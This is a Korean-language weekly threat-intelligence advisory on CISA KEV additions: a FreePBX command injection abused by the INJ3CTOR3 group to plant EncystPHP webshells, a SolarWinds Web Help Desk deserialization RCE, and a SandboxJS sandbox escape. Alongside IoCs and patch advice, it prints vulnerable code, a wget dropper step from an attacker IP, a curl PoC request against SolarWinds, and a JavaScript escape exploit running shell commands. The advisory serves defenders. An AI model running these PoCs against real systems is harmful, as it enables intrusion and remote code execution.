"당신의 VoIP가 해커의 놀이터가 됐다" — INJ3CTOR3 그룹의 FreePBX 웹쉘 공격과 2026년 2월 CISA KEV 긴급 분석

2026년 2월 5일 | Weekly Threat Intelligence

CISA KEV 4건 긴급 추가 — FreePBX 웹쉘 캠페인, SolarWinds 역직렬화 RCE, JavaScript 샌드박스 탈출까지

⚠ 긴급 조치 필요
  • CVE-2025-64328 (FreePBX) — INJ3CTOR3 그룹의 EncystPHP 웹쉘 캠페인 진행 중 | CISA 마감: 2026-02-24
  • CVE-2025-40551 (SolarWinds WHD) — 비인증 역직렬화 RCE, Horizon3.ai PoC 공개 | CISA KEV 등재
  • CVE-2026-25142 (SandboxJS) — Prototype Pollution → 샌드박스 탈출 → RCE | CVSS 10.0
3
Critical (9.0+)
1
High (7.0-8.9)
4
Active Exploitation
4
Patches Available

Multi-Agent Analysis Discussion

CVE 분석
이번 주 CISA는 2월 3일에 4건의 CVE를 KEV 카탈로그에 추가했습니다. 특히 CVE-2025-64328(FreePBX)과 CVE-2025-40551(SolarWinds WHD)은 모두 비인증 또는 인증 후 RCE를 허용하며, 실제 공격에서 활발히 악용되고 있습니다. CVE-2026-25142(SandboxJS)는 CVSS 10.0으로, JavaScript 샌드박스 환경에서의 완전한 탈출을 허용합니다.
익스플로잇 분석
FreePBX 취약점의 공격 체인이 매우 정교합니다. INJ3CTOR3 그룹은 CVE-2025-64328을 통해 초기 접근을 확보한 후, EncystPHP라는 웹쉘을 배포합니다. 이 웹쉘은 경쟁 웹쉘 제거, 루트 계정 생성, SSH 키 인젝션, cron 기반 지속성 확보까지 수행합니다. SolarWinds WHD의 경우 Horizon3.ai가 JNDI Lookup 체인을 이용한 PoC를 공개했습니다.
코드 분석
FreePBX의 취약 코드는 testconnection.phpcheck_ssh_connect() 함수입니다. exec() 함수에 사용자 입력($host, $key, $path)이 직접 전달되어 OS Command Injection이 발생합니다. SandboxJS의 경우 executor.ts에서 __lookupGetter__를 제대로 차단하지 않아 프로토타입 체인을 통해 호스트 Function 생성자에 접근할 수 있습니다.
위협 인텔리전스
INJ3CTOR3 그룹은 2020년부터 VoIP 시스템을 표적으로 삼아왔으며, CVE-2019-19006, CVE-2021-45461을 거쳐 이번 CVE-2025-64328까지 이어지는 패턴을 보입니다. 브라질 IP(45.234.176.202)에서 공격이 시작되어 인도의 클라우드/통신 서비스 기업이 피해를 입었습니다. crm[.]razatelefonia[.]pro 도메인이 C2로 사용되었습니다.
패치 분석
모든 취약점에 대해 패치가 제공되었습니다. FreePBX는 17.0.3으로, SolarWinds WHD는 2026.1로, SandboxJS는 0.8.27로 업그레이드해야 합니다. 특히 SolarWinds의 경우 이전 패치(CVE-2024-28986 대응)가 우회된 것이므로, 반드시 최신 버전으로 업데이트해야 합니다.
최종 합의
즉시 조치 권고:
1. FreePBX 17.0.3 업데이트 및 웹쉘 IoC 스캔 (ajax.php, license.php 등)
2. SolarWinds WHD 2026.1 업데이트 및 로그에서 client:client 로그인 탐지
3. SandboxJS 0.8.27 업데이트 또는 __lookupGetter__ 런타임 차단
4. 모든 시스템에서 외부 노출 최소화 및 네트워크 세분화 적용

CVE-2025-64328 — FreePBX Endpoint Manager Command Injection

Critical CISA KEV Active Exploitation PoC Available
8.8 CVSS 4.0

개요

FreePBX Endpoint Manager 17.0.2.36 이상 ~ 17.0.3 미만 버전에서 인증된 관리자가 SSH 연결 테스트 기능을 악용하여 임의 쉘 명령을 실행할 수 있습니다. 공격 그룹 INJ3CTOR3가 이 취약점을 활용해 EncystPHP 웹쉘을 배포하는 캠페인을 진행 중입니다.

취약한 코드

drivers/SSH/testconnection.php PHP
1<?php
2function check_ssh_connect($host, $port, $user, $key, $path) {
3 $keypath = dirname($key);
4 $publickey = "$key.pub";
5 if(!is_dir($keypath)) {
6 exec("mkdir -p $keypath"); // Command Injection Point #1
7 }
8 if(!file_exists($key)) {
9 exec("ssh-keygen -t ecdsa -b 521 -f $key -N \"\" ..."); // #2
10 }
11 // ... 이하 생략 ...
12}

Source: GitHub - FreePBX/filestore

EncystPHP 공격 체인

1
초기 접근 (CVE-2025-64328 악용)
인증된 관리자 권한으로 testconnection 엔드포인트에 악성 페이로드 전송
2
드로퍼 다운로드
wget으로 45.234.176.202/new/c 다운로드 → EncystPHP 배포
3
경쟁자 제거 및 환경 정리
기존 웹쉘 삭제, 특정 사용자 계정 삭제 (ampuser, svc_freepbx 등)
4
지속성 확보
루트 계정(newfpbx) 생성, SSH 키 인젝션, crontab 등록 (1분 간격)
5
웹쉘 배포
ajax.php로 위장된 웹쉘을 12개 이상 경로에 복사, 타임스탬프 위조

영향 버전

제품 취약 버전 패치 버전
FreePBX Endpoint Manager 17.0.2.36 ≤ version < 17.0.3 17.0.3

IoC (Indicators of Compromise)

IP Addresses
45.234.176.202 (드로퍼 호스트)
187.108.1.130
URLs
hxxp://45[.]234[.]176[.]202/new/c
hxxp://45[.]234[.]176[.]202/new/k.php
File Hashes (SHA256)
71d94479d58c32d5618ca1e2329d8fa62f930e0612eb108ba3298441c6ba0302
7e3a47e3c6b82eb02f6f1e4be6b8de4762194868a8de8fc9103302af7915c574
fc514c45fa8e3a49f003eae4e0c8b6a523409b8341503b529c85ffe396bb74f2
웹쉘 경로 (탐지 대상)
/var/www/html/admin/views/ajax.php
/var/www/html/admin/modules/core/ajax.php
/var/www/html/admin/modules/freepbx_ha/license.php
/var/www/html/rest_phones/ajax.php
생성 계정
newfpbx (UID 0, root 권한)

대응 방안

  • 즉시 조치: FreePBX Endpoint Manager 17.0.3으로 업그레이드
  • 웹쉘 스캔: 위 IoC 경로에서 의심 파일 탐지 (ajax.php, license.php 등)
  • 계정 감사: newfpbx 또는 UID 0 계정 생성 여부 확인
  • 네트워크: FreePBX 관리 인터페이스 외부 노출 차단
  • crontab 검사: asterisk 사용자의 cron 작업 확인
  • FortiGuard 시그니처: PHP/EncystPHP.A!tr, BASH/EncystPHP.A!tr 탐지 활성화

CVE-2025-40551 — SolarWinds Web Help Desk Deserialization RCE

Critical CISA KEV Active Exploitation PoC Available
9.8 CVSS 3.1

개요

SolarWinds Web Help Desk의 AjaxProxy 기능에서 신뢰할 수 없는 데이터의 역직렬화 취약점이 발견되었습니다. 이전 패치(CVE-2024-28986 대응)의 블록리스트를 우회하여 비인증 원격 코드 실행이 가능합니다. Horizon3.ai가 JNDI Lookup 체인을 이용한 PoC를 공개했습니다.

공격 체인

1
세션 획득
기본 계정(client:client)으로 로그인 또는 CSRF 우회로 wosid/xsrf-token 획득
2
블록리스트 우회
/ajax/ URI 파라미터로 CSRF 보호 우회, LoginPref 컴포넌트 생성
3
JSONRPC Bridge 악용
AjaxProxy를 통해 악성 Java 객체 인스턴스화
4
JNDI Lookup RCE
역직렬화된 객체가 JNDI lookup을 트리거하여 원격 코드 실행

PoC HTTP Request

POST /helpdesk/WebObjects/Helpdesk.woa/ajax/JSONRPCBridge
# URL Decoded Version
POST /helpdesk/WebObjects/Helpdesk.woa/ajax/JSONRPCBridge HTTP/1.1
Host: target:8080
Content-Type: application/json
Cookie: wosid=SESSION_ID; xsrf-token=TOKEN

{
  "method": "createInstance",
  "params": ["java.lang.Runtime"],
  "id": 1
}

# curl 명령어
curl -X POST "http://target:8080/helpdesk/WebObjects/Helpdesk.woa/ajax/JSONRPCBridge" \
  -H "Content-Type: application/json" \
  -H "Cookie: wosid=SESSION_ID; xsrf-token=TOKEN" \
  -d '{"method":"createInstance","params":["java.lang.Runtime"],"id":1}'

영향 버전

제품 취약 버전 패치 버전
SolarWinds Web Help Desk < 2026.1 2026.1

IoC (Indicators of Compromise)

로그 패턴
accountType=client, username=client 로그인 이벤트
ERROR org.jabsorb.JSONRPCBridge - exception occured
/Helpdesk.woa/ajax/ 접근 패턴
로그 경로
<Install directory>/log/
<Install directory>/logs/

대응 방안

  • 즉시 조치: SolarWinds Web Help Desk 2026.1로 업그레이드
  • 기본 계정 비활성화: client:client 계정 삭제 또는 비밀번호 변경
  • 네트워크 격리: WHD 서버를 내부 네트워크로 제한
  • 로그 모니터링: JSONRPC 관련 에러 로그 및 의심 로그인 탐지
  • WAF 규칙: /ajax/JSONRPCBridge 엔드포인트 접근 제한

CVE-2026-25142 — SandboxJS Prototype Pollution to RCE

Critical PoC Available
10.0 CVSS 3.1

개요

SandboxJS는 JavaScript 샌드박스 라이브러리입니다. 0.8.27 이전 버전에서 __lookupGetter__를 제대로 차단하지 않아 프로토타입 체인을 통해 호스트 환경의 Function 생성자에 접근할 수 있습니다. 이를 통해 샌드박스를 완전히 탈출하여 원격 코드 실행이 가능합니다.

취약한 코드

src/executor.ts (Lines 368-398) TypeScript
368// Prop operation handler
369addOps(LispType.Prop, (exec, done, ticks, a, b, obj, context, scope) => {
370 // ... property access logic ...
371 if (prototypeAccess) {
372 if (isFunction) {
373 // __lookupGetter__ not blocked here!
374 if (!['name', 'length', 'constructor'].includes(b) &&
375 (a.hasOwnProperty(b) || b === '__proto__')) {
376 // Whitelist check...
377 }
378 }
379 }
380});

Source: GitHub - nyariv/SandboxJS

PoC (Sandbox Escape)

exploit.js JavaScript
1// Step 1: Get host function via __lookupGetter__
2const getter = ({}).__lookupGetter__.call(
3 Function.prototype, '__proto__'
4);
5
6// Step 2: Access host Function constructor
7const hostFunc = getter.constructor;
8
9// Step 3: Execute arbitrary code in host context
10const payload = hostFunc('return process.mainModule.require("child_process").execSync("id")')();
11console.log(payload.toString());

영향 버전

패키지 취약 버전 패치 버전
@nyariv/sandboxjs (npm) ≤ 0.8.26 0.8.27

대응 방안

  • 즉시 조치: SandboxJS 0.8.27 이상으로 업그레이드
  • 런타임 하드닝: __lookupGetter__, __lookupSetter__ 메서드 monkey-patch 또는 제거
  • 대안 검토: 언어 수준 샌드박스 대신 WASM 또는 micro-VM 격리 고려
  • 의존성 감사: npm audit 실행하여 취약한 버전 탐지

CVE-2019-19006 — Sangoma FreePBX Authentication Bypass

Critical CISA KEV Active Exploitation
9.8 CVSS 3.1

개요

2019년에 발견된 구 취약점이지만, 2026년 2월 3일 CISA KEV에 새로 등재되었습니다. FreePBX의 인증 메커니즘 결함으로 비인증 원격 공격자가 관리자 권한을 획득할 수 있습니다. INJ3CTOR3 그룹이 CVE-2025-64328과 함께 이 취약점을 악용한 이력이 있습니다.

대응 방안

  • 긴급 패치: FreePBX 최신 버전으로 업그레이드
  • 네트워크 격리: FreePBX 관리 인터페이스 외부 접근 차단
  • 감사: 인증 로그에서 비정상 관리자 세션 생성 확인

Agent #7 검증 보고서

CVE-2025-64328 취약 코드 (testconnection.php) GitHub 원본 대조 완료
CVE-2026-25142 취약 코드 (executor.ts) GitHub 원본 대조 완료
EncystPHP IoC (SHA256 해시) FortiGuard Labs 보고서 일치
CVE-2025-40551 PoC 체인 Horizon3.ai 분석 일치
CISA KEV 등재 일자 (2026-02-03) CISA 공식 사이트 확인

Executive Summary

2026년 2월 첫째 주, CISA는 4건의 취약점을 KEV 카탈로그에 추가했습니다. 그 중 CVE-2025-64328(FreePBX)CVE-2025-40551(SolarWinds WHD)은 실제 공격에서 활발히 악용되고 있으며, 즉각적인 패치가 필요합니다.

특히 INJ3CTOR3 그룹이 FreePBX 취약점을 악용해 EncystPHP라는 정교한 웹쉘을 배포하는 캠페인이 진행 중입니다. 이 웹쉘은 경쟁 웹쉘 제거, 루트 계정 생성, SSH 키 인젝션, 다중 지속성 메커니즘을 포함하고 있어 탐지와 제거가 어렵습니다.

  • CVE-2025-64328 (FreePBX): CISA 마감 2026-02-24 | 17.0.3 업그레이드 필수
  • CVE-2025-40551 (SolarWinds WHD): CISA KEV 등재 | 2026.1 업그레이드 필수
  • CVE-2026-25142 (SandboxJS): CVSS 10.0 | 0.8.27 업그레이드 필수
  • CVE-2019-19006 (FreePBX): 레거시 취약점 재악용 | 최신 버전 확인 필요

댓글

이 블로그의 인기 게시물

CVSS 10.0 취약점이 공개 9시간 만에 무기화됐다 - 지금 당장 패치해야 할 CVE 5개

"패치해도 롤백됩니다" Ivanti가 인정한 임시방편과 APT28의 실시간 공격